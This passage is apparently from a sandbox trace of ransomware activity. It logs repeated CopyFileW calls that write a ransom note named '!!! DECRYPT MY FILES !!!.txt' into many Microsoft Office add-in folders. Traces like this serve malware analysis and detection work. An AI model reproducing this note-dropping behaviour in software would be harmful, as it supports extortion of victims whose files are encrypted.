(lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.960] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.964] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.969] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.061] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.067] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.072] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.076] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.094] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.143] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.182] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.187] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.233] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.239] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.243] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.286] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.291] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.295] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.300] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.304] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.414] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.420] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.426] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.430] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.436] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.441] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.446] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.538] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.542] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.548] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.553] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.558] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.564] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.569] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.574] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.609] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.613] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.619] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.624] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.629] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.636] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.641] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0158.647] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0160.351] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0160.873] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0160.930] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0160.937] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.046] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.059] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.109] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.375] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.387] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.445] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.471] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.474] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.477] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.487] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.498] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!! DECRYPT MY FILES !!!.txt" 